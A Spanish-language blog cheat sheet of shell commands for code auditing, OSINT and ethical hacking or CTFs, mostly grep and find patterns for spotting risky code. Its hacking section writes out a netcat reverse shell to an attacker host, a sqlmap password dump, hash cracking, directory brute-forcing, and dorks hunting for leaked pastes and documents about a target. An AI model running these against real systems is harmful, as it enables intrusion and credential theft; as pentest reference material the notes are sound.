Cheat sheet auditoría código, OSINT, etc…

Chuleta o cheat sheet de auditoría código. Notas de consulta rápida. Aquí iré compartiendo para tener a mano, los comandos y dorks usados en tareas habituales de una auditoría de código y demás tareas, OSINT, hacking ético, etc…

¿Qué os parecen? Comentadme los vuestros!

imagen sobre cheat sheet o chuleta, escrita en la mano

Auditoría de código – Bash

Cuando realizas una auditoría de código. En primer lugar realizando un reconocimiento del proyecto software, bash me parece una opción perfecta. Por eso siempre la uso como herramienta principal para realizar búsquedas en el código, independientemente de otras herramientas que esté usando en la auditoría. A quien no le gusta bash? ^^. Usar expresiones regulares puede parecer pesado al principio, sin embargo cuando aprendes a manejarte con ellas te dan una agilidad buceando dentro del código considerable.

Por eso os dejo por aquí este cheat sheet de auditoría código. Sin embargo para revisiones de código en mayor profundidad, montar el entorno de desarrollo a más alto nivel es más cómodo y práctico. En ese punto para cada plataforma y lenguaje tendrás un IDE, la mejor opción suele ser montarlo lo más parecido posible al equipo de desarrollo. Aquí dejo algunos comandos para esta primera toma de contacto con un código desde bash.

Reconocimiento, identificación del componente software

Ver cadenas de texto contenidas en cualquier archivo:

strings store-app-download.apk | less

Encontrar archivos de un proyecto por nombre:

find . -iname "*DAO.java"

find . -iname "pom.xml"

find -iregex '.*/WEB-INF/.*/View.*.jsp$' 

Comando para visualizar por consola estructura de directorios del proyecto:

tree 

Búsqueda por patrones

Encontrar archivos de un proyecto por coincidencia en contenido:

grep -R "actionName" --color

grep -Ria "SELECT.*FROM.*WHERE" . --color

egrep -Ri "[\\\ ]TODO[:\ ]{1}" . --color

#El parametro -l nos devuelve solo la lista de archivos donde se encuentra coincidencia. El carácter especial "|" sirve para indicar posible coincidencia en una de varias opciones.
grep -Ril "<s:form\|<form" --color

#El parámetro -h retira del output la ruta del archivo en el que se encuentra la coincidencia. Este ejemplo es buscando un problema sobre archivos de log
grep -Rh "SQLException" --color -B500 | grep SEVERE

#Buscando potencial XXE en código java
egrep -Ri "XMLInputFactory|SAXParserFactory|XMLReader|TransformerFactory|DocumentBuilderFactory|validation\.Validator" --color

Ver 30 líneas antes y después de las coincidencias encontradas con grep:

grep -R "<form method=get action=\"/\">" -A30 -B30 --color

Expresiones regulares para realizar búsqueda por patrones de forma general, localizando posibles puntos interesantes del código durante una revisión. Esto es solo una plantilla inicial, la iré dando una vuelta para mejorarla, el objetivo sería localizar potenciales vulnerabilidades:

#grep búsqueda de patrones alta criticidad
#-----------------------------------------
egrep -Ri --color --include=*.{java,cs} "(XSS|XXE|MD5|SHA1|hash|cuida|peligr|contrase|passw|pwd|keystore|keychain|encrypt|encripta|cifrar|cifrad|temporal|provisional|hack|cve|vulnera|secret|cambiar|revis)"

#grep búsqueda de patrones genérico 
#----------------------------------
egrep -Ri --color --include=*.{java,cs} "(key|file|tempor|stream|valid|comprob|comprueb|encode|clave|upload|fichero|ruta|path|protecc|proteg|segur)"

#grep para ver tags de desarrollo (comentarios de desarrolladores que sigan el estandar)
#------------------------------------------------------------------------
egrep -Ri --color --include=*.{java,cs} "[\/\\ \[\"\'#*.!%=>C\-]{1}(TODO|BUG|FIXME|HACK|UNDONE|XXX)[\ :>,.\-]{1}" --color

Comando para hacer un grep, en una extensión o nombre concreto de archivo:

find . -name *.jsp -printf '%p\n' -exec grep --color "<form" {} \;

Por último este comando para imprimir un archivo por completo coloreando una palabra de búsqueda:

 grep --color -E "redirectAction|$" src/main/resources/struts.xml

Calcular métricas

En primer lugar calculando métricas de un proyecto, conteo de números de archivo según su extensión (cheat sheet de auditoría código):

find . -type f | sed -n 's/..*\.//p' | sort | uniq -c | sort -gr 

En segundo lugar contar número de archivos y directorios, recursivamente a partir del directorio actual (cheat sheet de auditoría código):

#Contar archivos
find . -type f -printf '.' | wc -c

#Contar directorios
find . -type d -printf '.' | wc -c

Seguidamente para calcular métricas del proyecto, conteo de líneas de código (líneas de determinadas extensiones de archivo, para contar sobre archivos que son estrictamente código y evitar otros datos). Por ejemplo este tiene extensiones de un proyecto concreto .net, adaptalo a la plataforma específica guiándote a partir de las extensiones resultado del comando anterior:

find -regex ".*\.\(cs\|cshtml\|js\|htm*\|sql\|csx\)" -exec cat {} \;  | wc -l

OSINT – Expresiones regulares

Expresión regular para filtrar lista única de mails a partir de un texto:

cat * | grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b"  | grep -v "@contoso.com" | sort -u > ../emails_DB.txt 

Extracto en lista única de dominios de mails:

cat mails.txt | grep -E -o "@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" | sort -u 

Lista única de dominios y subdominios URLs:

grep -Eoi "^http[s]?:\/\/([a-z0-9|-]+\.)*[a-z0-9|-]+\.[a-z]+" file.txt 

Ordenar lista única de IPs, expresión regular:

cat datos.txt |grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" | sort -u

Ordenar numéricamente listas de IPs eliminando duplicados:

cat lista_IPs.txt | sort -u | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 > lista_IPs_ordenadas.txt 

OSINT – Dorks 

Dork para buscar sobre pastes indexados en google. Para esto los sites «pastebin.com» y «gist.github.com» son los más grandes:

intext:"contoso.com" OR intext:"52.164.206.56" site:pastebin.com OR site:gist.github.com  

Búsqueda de documentos en google, extensiones de archivo. De esta manera buscamos concretamente sobre lo que tiene indexado el motor de búsqueda. Después valorar si quieres recorrer tu el site o ejecutar permutación:

#En un dominio concreto, extensiones habituales
site:"sans.org" cheatsheet ext:odsx OR ext:odp OR ext:txt OR ext:rtf OR ext:xml OR ext:ppt OR ext:pptx OR ext:xls OR ext:xlsx OR ext:csv OR ext:doc OR ext:docx OR ext:pdf

#En cualquier dominio, extensiones menos habituales
"contoso" ext:key OR ext:mp3 OR ext:wav OR ext:flac OR ext:mpg OR ext:mpeg OR ext:mp4 OR ext:jpg OR ext:jpeg OR ext:png OR ext:zip OR ext:rar OR ext:7z OR ext:odt

#*Extensiones que quieras buscar con OR
#*Site donde quieras buscar
#*Si quieres filtras por palabras

Buscando documentos indexados con programas:

python rastleak.py -d sans.org -o 1 -n 3000 -e 2 -f 2 ;

metagoofil -d sans.org -t doc,xls,ppt,odp,ods,docx,xlsx,pptx -l 1000 -n 0 -o documentos-sans -f metagoofil_output_sans.org.html ;

Monitorización y búsquedas sobre Twitter. Con este ejemplo deben cumplirse al menos una condición de cada uno de los dos grupos de paréntesis:

("contoso" OR "@contoso") (hacked OR pwned OR tangodown OR offline OR sqli OR xss OR ddos) since:2019-01-01 

Hacking ético, CTFs, etc…

Netcat – Shell reversa

Comando a ejecutar en nuestra máquina atacante (Se queda a la escucha en un puerto):

nc -lvp 3333

Seguidamente comando a ejecutar en máquina destino (Se conecta al puerto anteriormente abierto en nuestra máquina atacante, establece conexión y envía a /bin/bash lo que vayamos escribiendo):

nc 10.10.1.8 3333 -e /bin/bash

Tunelar mediante SSH:

#ssh [-N no execute remote command] [-f background before command execution] [-D bind address] [PORT] [user@]hostname
ssh -NfD 1080 user@10.10.1.8

#proxychains [program]
proxychains firefox

Inyecciones SQL:

#sqlmap [-u URL] --passwords
sqlmap -u http://10.10.1.8:8080/login.php?PASS=l --passwords

Ver, analizar web desde consola

lynx https://www.hackplayers.com/

curl -i -X GET https://www.hackplayers.com/ | html2text | less

curl -i -X GET https://www.hackplayers.com/ | less

Metadatos:

#Leer:
exiftool -all * | less

#Borrar:
exiftool -all=\  documento.doc

Ver tipos de archivo:

file * 

Búsqueda de una cadena de texto en todos los archivos a partir de una ruta:

grep -R --text "CTF" /home/

Extraer todas las IPs desde el directorio actual, con nombres de archivo:

grep -oER --text "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" . 

Extraer todas las URLs desde el directorio actual, solo la lista única (añadimos opción grep -h que obvia el nombre de archivo y un sort -u para que salga la lista única):

grep -ERoh --text "https?://[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" . | sort -u

Búsqueda de un archivo por nombre en toda la máquina:

updatedb ; locate foto0001.png

Spidering, escaneo al contenido de un servidor web:

dirb http://10.10.1.8/

gobuster -e -u http://10.10.1.8/ -w /usr/share/wordlists/dirb/common.txt

Buscar datos ocultos en un archivo (ejemplo para deep sound 2.0)

1 – Para empezar un archivo .wav en el que queremos confirmar si hay datos ocultos o no los hay

2 – Seguidamente convertimos el wav a su texto hexadecimal correspondiente:

xxd -p tema.wav | tr -d '\n' > tema.wav.hex

3 – A continuación, deep sound 2.0 deja la siguiente marca de comienzo de datos ocultos, por lo tanto le pasamos una expresión regular que la localiza:

grep -ob 4...4...5...3...4...3...4...6 tema.wav.hex

4 – Por último si grep encuentra la expresión regular y nos devuelve un índice, es que el archivo en ese lugar tiene la marca de comienzo de datos ocultos


Hacer SSH con certificado:

#ssh [-i identify file] [certificate] [user@]hostname
ssh -i cert.pem user@10.10.1.8

Hexa de un archivo:

#xxd [infile]
xxd file.zlib

xxd file.zlib | less

Búsqueda de fichero embebidos:

#binwalk [-e extract] [FILE 1] [FILE 2] ...
binwalk -e favicon.png

Crackeo de hashes:

#findmyhash [Algotithm] OPTIONS
findmyhash -MD5 IE4EHKRqf6Wvo

Netcat – Enviar y recibir fichero:

#Origen:
nc [-v verbose] [-l listen mode] [-p PORT] < [FILE]

#Destino:
nc [IP] [PORT] > [FILE]

Nmap muy completo (Aggressive scan options) en puertos tcp:

nmap -p 1-65535 -T4 -A -v 10.10.1.8 > nmap_output_10.10.1.8.txt

#Para ir viendo en tiempo real su impresión al archivo de texto:
tail -f nmap_output_10.10.1.8.txt

Ver solo cabecera de un archivo:

head -20 nmap_output_10.10.1.8.txt

Sistemas

A continuación comando para actualizar una distro linux basada en debian, en una línea y sin interacción. Lo ejecutas y te olvidas. Aunque cuidado para cualquier tema en producción, esto puede desconfigurar o provocar errores sobre el sistema que hubiera montado anterior:

apt-get update ; apt-get -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" dist-upgrade -y --allow-downgrades ; apt-get autoremove -y ; apt-get autoclean ; 

Cambiar localización/idioma de hora y teclado (para distros basadas en debian):

#Mapa de teclado:
dpkg-reconfigure keyboard-configuration
(a veces hace falta ejecutar este para que coja los cambios) -> service keyboard-setup restart

#Hora
dpkg-reconfigure tzdata

Referencias y recursos para profundizar más en el tema

Deja una respuesta

Tu dirección de correo electrónico no será publicada.

error: